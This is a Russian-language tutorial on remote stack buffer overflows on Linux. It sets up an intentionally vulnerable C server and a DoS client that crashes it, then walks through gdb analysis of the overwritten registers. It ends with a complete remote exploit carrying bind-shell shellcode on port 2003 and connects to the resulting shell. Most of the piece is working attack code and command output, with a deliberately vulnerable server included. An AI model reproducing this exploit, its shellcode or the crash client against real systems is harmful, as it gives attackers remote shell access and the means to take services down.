Удаленное переполнение буфера ( написание remote exploits ) Читая множество документаций по переполнению буфера, технике переполнения буфера, я заметил, что во всех мануалах, описываются только локальные переполнения, а об удаленных ни слова… В данной статье я хотел бы восполнить этот пробел и объяснить вам технику удален ного переполнения буфера. Речь у нас пойдет о том, как написать клиента для переполнения удаленного сервера... В данной статье мы напишем уязвимый сервер и клиента, который будет переполнять буфер у удален ного сервера с исполнением шеллкода... Скажу то, что в данной статье речь пойдет о linux сис темах... Вся данная информация будет исполняться на linux машинах, и никак не на windows совместимых сис темах. Скажу то, что клиент и сервер я взял у авторитетной security-team - w00w00, в их архивах w00giving в раз деле LibExploit. Я его немного подкорректировал (убра л библиотеку LibExploit), чтобы клиент мог исполнять ся на вашей системе без всяких проблем... Итак, вот серверная часть: [====================== Server =====================] /* * our buggy server */ #include #include #include #define BUFFER_SIZE 1024 #define NAME_SIZE 2048 #define NO -1 int handling_client(int c) { char buffer[BUFFER_SIZE], name[NAME_SIZE]; int bytes; strcpy(buffer, "Login : "); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == NO) return NO; bytes = recv(c, name, sizeof(name), 0); if (bytes == NO) return NO; name[bytes - 1] = '\0'; sprintf(buffer, "Hello %s!\r\n", name); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == NO) return NO; return 0; } int main(int argc, char *argv[]) { int Sock, con, client_size; struct sockaddr_in srv, cli; if (argc != 2) { fprintf(stderr, "usage: %s port\n", argv[0]); return 1; } Sock = socket(AF_INET, SOCK_STREAM, 0); if (Sock == NO) { perror("socket() failed"); return 2; } srv.sin_addr.s_addr = INADDR_ANY; srv.sin_port = htons( (unsigned short int) atol(argv[1])); srv.sin_family = AF_INET; if (bind(Sock, &srv, sizeof(srv)) == NO) { perror("bind() failed"); return 3; } if (listen(Sock, 3) == NO) { perror("listen() failed"); return 4; } for(;;) { con = accept(Sock, &cli, &client_size); if (con == NO) { perror("accept() failed"); return 5; } if (handling_client(con) == NO) fprintf(stderr, "%s: handling() failed", argv[0]); close(con); } return 0; } /* E0F */ [====================== Server =====================] Хочу пояснить принцип действия серверной части: Сервер запускается на определенном порту и выводит приглашение "Login" при подключении к нему клиентс кой части. Нетрудно догадаться, что размер Login (buf) ограничен - 1024 байт, а размер переменной name - 2048. Скажу, что в переменную name заносится значение Login. Далее полученная строка копируется в buf, и выводится сообщение вида : "Hello %s", где %s веденное значение в поле Login (т.е. name). Ошиб ка заключается в том, что при вводе в поле Login сли шком большее кол-во символов (более 1064), приводит к тому, что сервер вылетит... Напомню, почему именно 1064, а не 1024, так это потому, что 1024 - сама стро ка, при вводе байт равных 1024 сервер не упадет, т.к. значение регистров не поменяются, 1064 байт, это зна чение при котором значение некоторых регистров затрут ся и данные переполнят стек. Идем далее... Я предлагаю написать программу, которая будет укладыва ть сервер в даун. Т.е. программу - DoS. [====================== DoS client ===================] #include #include #include int main(int argc, char *argv[]) { int i, sock; char buf[1064]; struct sockaddr_in tgt; if (argc < 2) { printf("usage : dos \n\n"); return 0; } tgt.sin_family = AF_INET; tgt.sin_port = htons(atoi(argv[2])); tgt.sin_addr.s_addr = inet_addr(argv[1]); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); for (i = 0; i < 1064; i++) buf[i] = 'A'; connect(sock, (struct sockaddr *)&tgt, sizeof(tgt)); send(sock, buf, sizeof(buf), 0); close(sock); } [====================== DoS client ===================] Думаю разобраться в этой программе очень легко. Т.к. в ней особо то сложного и нет. Программа просто соединят ся с серверной частью и посылает ей данные - 1064 байт. Предлагаю откомпилировать наш сервер и запустить. [=====================================================] [root@localhost home]# gcc server.c -o server [root@localhost home]# ./server 12345 [=====================================================] Итак мы запустили наш сервер на 12345-ом порту. Давайте просто соединимся с ним при помощи стандартно го telnet-клиента. [=====================================================] [root@localhost home]# telnet 127.0.0.1 12345 Trying 127.0.0.1... Connected to localhost (127.0.0.1). Escape character is '^]'. Login : root Hello root! Connection closed by foreign host. [root@localhost home]# [=====================================================] Как видно сервер просто копирует введенное значение и выводит сообщение на экран. Теперь давайте запустим наш сервер в gdb и откомпилиру ем наш DoS клиент, и попытаемся запустить его на наш сер вер. [=====================================================] [root@localhost home]# gdb server GNU gdb 6.0-2mdk (Mandrake Linux) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) r 12345 Starting program: /home/server 12345 [=====================================================] Программа стартовала в gdb, теперь откомпилируйте dos клиент и запустите его... [=====================================================] [root@localhost home]# gcc dos.c -o dos [root@localhost home]# ./dos 127.0.0.1 12345 [root@localhost home]# [=====================================================] Взглянем на окно, где запущен сервер в gdb... [=====================================================] Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) [=====================================================] Опа... Сервер завершился с ошибкой "Segmentation fault" Это говорит о том, что мы затерли значение регистров... 0x41414141 in ?? () эта строка говорит о том, что наша программа обратилась по адресу 0x41414141 и в итоге за вершилась... Давайте взглянем на значения регистров... [=====================================================] (gdb) x/x $esp 0xbffff750: 0x41414141 (gdb) [=====================================================] Если вы знакомы с техникой переполнения, то вам скорее уже все понятно... Скажу что регистр $esp указывает на значение 0x41414141. Взглянем на другие важные регистры стека... [=====================================================] (gdb) i reg ebp eip ebp 0x41414141 0x41414141 eip 0x41414141 0x41414141 (gdb) [=====================================================] Эти регистры затерлись значение "A" в hex формате... Такс... Мы можем взять значение $esp за retaddr... Но для большей уверенности давайте взглянем на стек изнут ри... [=====================================================] (gdb) x/500bx $esp-500 0xbffff55c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff564: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff56c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff574: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff57c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff584: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff58c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff594: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff59c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff684: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff68c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff694: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff69c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ---Type to continue, or q to quit--- 0xbffff6ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff6fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff704: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff70c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff714: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff71c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff724: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff72c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff734: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff73c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff744: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff74c: 0x41 0x41 0x41 0x41 [=====================================================] Вот это да... Скажу то, что мы можем со 100% уверенностью можем взять за значение retaddr что-то из этого : ... 0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ... т.к. они указывают на наш адрес (0x41414141) т.е. "A" (hex), следовательно при правильном формировании выполнят наш завет ный шеллкод. Итак хватит теории перейдем к практике... Теперь я предлагаю написать клиента, который будет соеди няться с сервером и передовать ей NOP+SHELLCODE+RET... Далее шеллкод будет исполняться на удаленной машите... [================= Remote Exloit ====================] /* * Exploit to overflow server program. * Third example without using LibExploit :) * * Remote buffer overflow exploit. * */ #include #include #include static char shellcode[]= // Bind 2003 PORT "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80" "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d" "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16" "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10" "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45" "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41" "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; #define RET 0xbffff688 int main(int argc, char *argv[]) { char buffer[1064]; int s, i, size; struct sockaddr_in remote; printf("using : 0x%x\n",RET); if (argc != 3) { printf("usage : exploit ip port!\n"); return 0; } memset(buffer, 0x90, 1064); memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode)); buffer[1000] = 0x90; for (i = 1022; i < 1062; i+=4) { *((int *)&buffer[i]) = RET; } buffer[1063] = 0x0; s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); remote.sin_family = AF_INET; remote.sin_port = htons(atoi(argv[2])); remote.sin_addr.s_addr = inet_addr(argv[1]); connect(s, (struct sockaddr *)&remote, sizeof(remote)); send(s, buffer, sizeof(buffer),0); close(s); } [================= Remote Exloit ====================] Думаю, те кто понимает в технике переполнения уже разобрались с этой программой. Я лишь скажу, что сначала мы подготавливаем буфер, заполняем его NOP'ами в размере 1064 байт. Далее в буфер копируется шеллкод. Переводим 1000 байт в NOP. Потом мы засовываем указатель на наш заветный шеллкод в промежутке 1022 до 1059, это на подстраховку. Т.к. если мы засунем указатель в конец буфера, то вряд ли шеллкод сможет выполниться. Далее null'им 1063 байт. Т.е. конец буфера... Потом соединяемся с сервером и отправляем наш сформированный код. Осталось проверить его : [====================================================] [root@localhost home]# gcc exploit.c -o exploit [root@localhost home]# ./exploit 127.0.0.1 12345 using : 0xbffff688 [root@localhost home]# telnet 127.0.0.1 2003 Trying 127.0.0.1... Connected to localhost (127.0.0.1). Escape character is '^]'. [====================================================] На последок можете взглянуть на окно сервера. Сервер не упал. Он продолжает так же усердно работать. Т.е. наша задача выполнена. Смею на этом отклониться... Желаю всяческих удач в познавании основ эксплоитинга. P.S. stan [unl0ck team] Благодарю всех членов команды unl0ck. Так же спасибо xCrZx, т.к. шеллкод был взят из его эксплоита к mod_gzip.